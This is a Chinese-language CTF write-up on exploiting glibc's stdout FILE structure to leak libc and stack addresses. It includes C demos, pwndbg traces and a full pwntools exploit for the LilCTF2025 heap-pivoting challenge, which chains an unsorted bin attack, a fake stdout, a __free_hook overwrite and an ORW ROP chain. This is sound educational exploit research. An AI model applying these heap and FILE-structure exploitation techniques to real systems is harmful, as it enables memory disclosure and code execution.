0x00

复现LilCTF2025,遇到了一点对_IO_2_1_stdout_的利用,于是记录一下关于stdout的利用

0x01 关于stdout

stdout也就是_IO_2_1_stdout_
在 glibc 里,标准 I/O 流 (stdin / stdout / stderr) 都是定义在 libc 的全局变量

1
2
3
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

这几个其实都是_IO_FILE_plus结构体,其_fileno域分别为1,0,2
在程序调用puts函数或者printf函数(标准IO函数)时候,使用的都是_IO_2_1_stdout_这个结构体
那么write函数呢?其实write函数只是对系统调用的封装,当你调用 write(1, "hi", 2),glibc 内部会直接发起 syscall(SYS_write, 1, buf, 2),这里并没有对_IO_2_1_stdout_的使用
这时候可能又有疑问了,SYS_write不也用到了fd=1这个对应stdout的描述符吗?其实:fd=1是内核的概念。_IO_2_1_stdout_ 是用户态 libc 提供的缓冲封装,它里面保存着 fd=1
每个进程都有一个文件描述符表。其中默认固定fd=0stdinfd=1stdoutfd=2stderr
通过之前对于_IO_FILE学习,我们知道在刷新缓冲区时候,系统会调用write输出fp->_IO_write_ptrfp->_IO_write_base之间的内容,如果我们能修改stdout->_IO_write_ptrstdout->_IO_write_base以及stdout->_IO_write_end,是不是就能在程序遇到puts函数或者printf函数,或者fflush(stdout)的时候输出我们想要的内容呢?

0x02 stdout的利用

单纯的设置write三元组肯定是不行的,还需要满足一些检查(具体输出流程在前面一篇博客fwrite部分有分析,而具体相关的检查源码请移步glibc源码),总结一下还需要:
设置_flags & _IO_NO_WRITES = 0,设置_flags & _IO_CURRENTLY_PUTTING = 1,设置_flags & _IO_IS_APPENDING = 1

1
2
3
4
5
6
7
#define _IO_MAGIC 0xFBAD0000           /* Magic number 文件结构体的魔数,用于标识文件结构体的有效性 */
#define _IO_CURRENTLY_PUTTING 0x800 /* Currently putting 当前正在执行 put 操作 */
#define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
#define _IO_NO_WRITES 8 /* Writing not allowed 不允许写入操作 */

#define _IO_UNBUFFERED 2 /* Unbuffered 无缓冲模式,直接进行I/O操作,不使用缓冲区 */
#define _IO_LINE_BUF 0x200 /* Line buffered 行缓冲模式,在输出新行时刷新缓冲区 */

于是我们一般直接设置_flags0xfbad1800即可满足,然后设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址,_IO_write_end要么不修改,要么修改成等于_IO_write_ptr,具体见0x03部分
有哪些利用呢?

leak libc_base

既然我们想要leak libc_base,那么我们肯定是不知道_IO_2_1_stdout_的地址的,这怎么利用呢?
在堆利用中,想要泄露libc很多时候绕不开main_arena,在libc中main_arenastdout的地址是十分接近的

1
2
3
4
pwndbg> p stdout
$1 = (FILE *) 0x7ffff7e1b780 <_IO_2_1_stdout_>
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7e1ac80 <main_arena>

可以看到这里只有低两字节不一样,但在ASLR保护机制(仍然页对齐)影响下,这里低两字节中的最高位数会随机化,只有低三位(16进制下)仍然已知固定,我们可以修改指向main_arena的指针的低两字节,对于随机的那一位(16进制下)我们进行爆破即可(16种可能)
既然在打stdout泄露libc,说明我们收到限制,不能简单的直接查unnsortedbin中的chunk(不然直接unsortedbin leak即可),我们就需要将unsortedbin中chunk的fd指针也放到tcache或者fastbin中(通过具体的漏洞利用使得同一个chunk既在unsortedbin上,也在tcache或者fastbin上),这样我们在tcache或者fastbin中就存在一个chunk的fd指向main_arena,我们修改其低两字节,爆破随机的那1bit,就能申请到stdout
如果是利用fastbin的话,我们一般利用stdout-0x43这个地址,我们看

1
2
3
4
pwndbg> x/6gx 0x7ffff7e1b780 - 0x43
0x7ffff7e1b73d <_IO_2_1_stderr_+157>: 0xfff7e1a8a0000000 0x000000000000007f
0x7ffff7e1b74d <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b75d <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000

正好错位形成一个size域为0x7f的chunk,当然错位fastbin的手法一般在低版本,高版本更多直接打tcache
摘取一个简单的爆破模版

1
2
3
4
5
6
7
8
while True:
try:
io = process(file)
exp()
break
except:
io.close()
continue

在申请到stdout后我们覆盖其_IO_write_base的最低字节为\x00,这样在输出时候就能leak出一个libc地址

leak stack addr

直接打stdout输出environ值即可泄露栈地址,具体leak手法见malloc位于栈上的chunk | r3t2’s blog

其他

除了leak上面两个地址,我们利用stdout可以实现任意地址读,只需要具体情况具体利用即可

0x03 动手看看

我们根据不同缓冲模式来调试demo

无缓冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
setvbuf(stdout, 0, 2, 0); //无缓冲

printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>> ");
read(0, victim, 0x10);
printf("---- leak >>> ");

*(int*)stdout_addr = 0xfbad1802; //无缓冲 0xfbad1800|0x2

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x10; // _IO_write_end = ptr

puts("new_data");

return 0;
}

我们输入”leakleakleakleak“,运行直到puts前,可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *stdout
$1 = {
_flags = -72542208,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x5555555592a0 "leakleakleakleak",
_IO_write_ptr = 0x5555555592b0 "",
_IO_write_end = 0x5555555592b0 "",
_IO_buf_base = 0x7ffff7e1b803 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7e1b804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1aaa0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ca70 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e1a9a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}

stdout被我们设置好,然后我们步入puts查看流程

1
2
3
4
5
6
7
0x7ffff7c80e50 <puts>       endbr64
0x7ffff7c8b600 <_IO_file_xsputn> endbr64
0x7ffff7c8cdc0 <_IO_file_overflow> endbr64
0x7ffff7c8c930 <_IO_do_write> endbr64
0x7ffff7c8aec0 <_IO_file_write> endbr64
0x7ffff7d14870 <write> endbr64
0x7ffff7d14885 <write+21> syscall <SYS_write>

因为设置了_IO_write_end = _IO_write_ptr,也就是会先触发一次overflow刷新

1
2
3
4
5
6
7
8
puts
→ _IO_file_xsputn
→ _IO_file_overflow
→ _IO_do_write
→ _IO_file_write
→ write
→ syscall(SYS_write)

这里具体流程在此前对fwrite已经分析过,这一流程后续就不重复放了,最后我们看运行结果

1
2
3
4
5
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>> leakleakleakleak
---- leak >>> leakleakleakleaknew_data

行缓冲

然后我们看行缓冲下,将_flags设置为0xfbad1a000xfbad1800|0x200),并设置_IO_write_end > _IO_write_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
setvbuf(stdout, 0, 1, 0); //行缓冲

printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>>\n");
read(0, victim, 0x10);
printf("---- leak >>>\n");

*(int*)stdout_addr = 0xfbad1a00; // 0xfbad1800|0x200

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100; // _IO_write_end > ptr

puts("new_data");

return 0;
}

这里程序无输出,直到exit后才触发刷新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
...
pwndbg> c
Continuing.
a
new_data
[Inferior 1 (process 55881) exited normally

这是为什么?这时候我们如果将_IO_write_end设置与_IO_write_ptr相等,则

1
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x10;    // _IO_write_end == _IO_write_ptr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a
new_data

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

可以看到puts("new_data")成功刷新了输出
而如果我们不设置_IO_write_end

1
//((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100;    // _IO_write_end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
c
---- leak >>>
c
new_data

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

可以看到输出也没问题
这里推测是我们如果修改_IO_write_end,会导致stdout的缓冲区异常,要么就不设置。如果设置的话则应使_IO_write_end==_IO_write_ptr,会先一步触发overflow,然后程序会重新分配write三元组指针,后续输出操作也就不会出问题

全缓冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

int main() {
printf("printf addr is --> %p\n", &printf);
uint64_t printf_addr = (uint64_t)&printf;
uint64_t stdout_addr = printf_addr + 0x1bb090;
printf("stdout addr is --> %p\n", stdout_addr);

void* victim = malloc(0x100);
printf("---- input >>>\n");
read(0, victim, 0x10);
printf("---- leak >>>\n");

setvbuf(stdout, 0, 0, 0); //全缓冲
*(int*)stdout_addr = 0xfbad1800;

((uint64_t*)stdout_addr)[1] = 0; // _IO_read_ptr
((uint64_t*)stdout_addr)[2] = 0; // _IO_read_end
((uint64_t*)stdout_addr)[3] = 0; // _IO_read_base
((uint64_t*)stdout_addr)[4] = (uint64_t)victim; // _IO_write_base
((uint64_t*)stdout_addr)[5] = (uint64_t)victim + 0x10; // _IO_write_ptr 必须大于 base 才会写出
((uint64_t*)stdout_addr)[6] = (uint64_t)victim + 0x100; // _IO_write_end > ptr

fflush(stdout);
puts("new_data");

return 0;
}

运行发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
...
pwndbg> c
Continuing.
new_data
[Inferior 1 (process 76592) exited normally]

fflush(stdout)后可以成功输出leak的数据,而全缓冲模式,缓冲区未填满后续的new_data则需要exit刷新

1
2
3
4
5
exit()
└─ _IO_cleanup()
└─ _IO_flush_all_lockp(NULL)
├─ 遍历全局 FILE* 链表 _IO_list_all
└─ 对每个 FILE 调用 _IO_file_overflow/_IO_do_write 进行 flush

如果我们填满缓冲区(笔者本地默认0x400)

1
2
3
4
for(int i = 0; i < 0x81; i++)
{
printf("new_data");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> b exit
Breakpoint 1 at 0x7ffff7c455f0: file ./stdlib/exit.c, line 142.
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/stdout/demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
printf addr is --> 0x7ffff7c606f0
stdout addr is --> 0x7ffff7e1b780
---- input >>>
a
---- leak >>>
a
new_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_datanew_data
Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142

而如果仅仅设置输出0x100的数据(_IO_write_end=victim+0x100),是仍然没有输出的,显然缓冲区大小不是通过write三元组来判定的

0x04 LilCTF2025 heap-pivoting

开了沙箱,打orw,问题是没有show函数,而且全程没有调用io的函数,但是没有开pie,又是静态编译,相当于给了libc地址,我们能做的只有一个unsorted bin attack,这个时候问题就来了,往哪里写,大家如果了解过unsorted bin attack的话,就会知道我们写的其实是top chunk的地址(main_arena中的一定偏移处),就可以根据这个,修改top chunk的位置,迁移到chunk_list上面,达到任意地址写,然后调用fflush,打stdout,泄露栈地址(rsp),最后劫持rsprop就行(此题程序执行到这里自己会ret,也就是pop rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.23-0ubuntu3/amd64/libc6_2.23-0ubuntu3_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "gz.imxbt.cn"
port = 20119
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set glibc 2.23
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# Your exploit here
menu = b'Your choice:\n'
def alloc(idx, data):
io.recvuntil(menu)
io.send(b'1')
io.recvuntil(b'idx:')
io.send(str(idx))
io.recvuntil(b'say\n')
io.send(data)

def free(idx):
io.recvuntil(menu)
io.send(b'2')
io.recvuntil(b'idx:')
io.send(str(idx))

def edit(idx, data):
io.recvuntil(menu)
io.send(b'3')
io.recvuntil(b'idx:')
io.send(str(idx))
io.recvuntil(b'context: ')
io.send(data)

def myexit():
io.recvuntil(menu)
io.send(b'4')

chunk_list = 0x6ccd60
#global_max_fast = 0x6cc638

#leave_ret = 0x400aa5
#syscall = 0x4003da
#pop_rax_ret = 0x41fc84
pop_rdi_ret = 0x401a16
pop_rdx_rsi_ret = 0x443159
ret = 0x4002e1

alloc(0, b'a')
alloc(1, b'a')
free(0)
edit(0, p64(0x6ca858) + p64(chunk_list - 0x10))
alloc(1, b'a')
edit(0, p64(chunk_list) + p64(0) + p64(0x6ca858)*2) #这里就是修改main_arena, 0x6ca858是unsortedbin头地址
alloc(4, b'a') #这里chunk4就是chunk_list

def hack(addr, data): #任意地址写
edit(4, p64(addr))
edit(2, data) #堆头0x10,所以写入地址位于chunk_list[2]

fflush = 0x416770
environ = 0x6cc640
stdout = 0x6ca300
free_hook = 0x6cc5e8

fake_io = p64(0xfbad1800)
fake_io += p64(0) # _IO_read_ptr
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(environ) # _IO_write_base
fake_io += p64(environ + 0x10) # _IO_write_ptr

hack(stdout, fake_io)
hack(free_hook, p64(fflush))

free(3) # fflush(0) 效果是刷新所有输出方向的io流

leak_addr = u64(io.recv(8))
log.info("leak addr in stack --> "+hex(leak_addr))
rsp = leak_addr - 0x180
log.info("rsp --> "+hex(rsp))

rop_chain = p64(pop_rdi_ret) + p64(rsp - 0x8) + \
p64(pop_rdx_rsi_ret) + p64(0) + p64(0) + \
p64(0x43fc40) + \
p64(pop_rdi_ret) + p64(3) + \
p64(pop_rdx_rsi_ret) + p64(0x100) + p64(rsp + 0x100) + \
p64(0x43fca0) + \
p64(pop_rdi_ret) + p64(1) + \
p64(pop_rdx_rsi_ret) + p64(0x100) + p64(rsp + 0x100) + \
p64(0x43fd00)

hack(rsp-0x8, b'flag\x00\x00\x00\x00' + rop_chain)

io.interactive()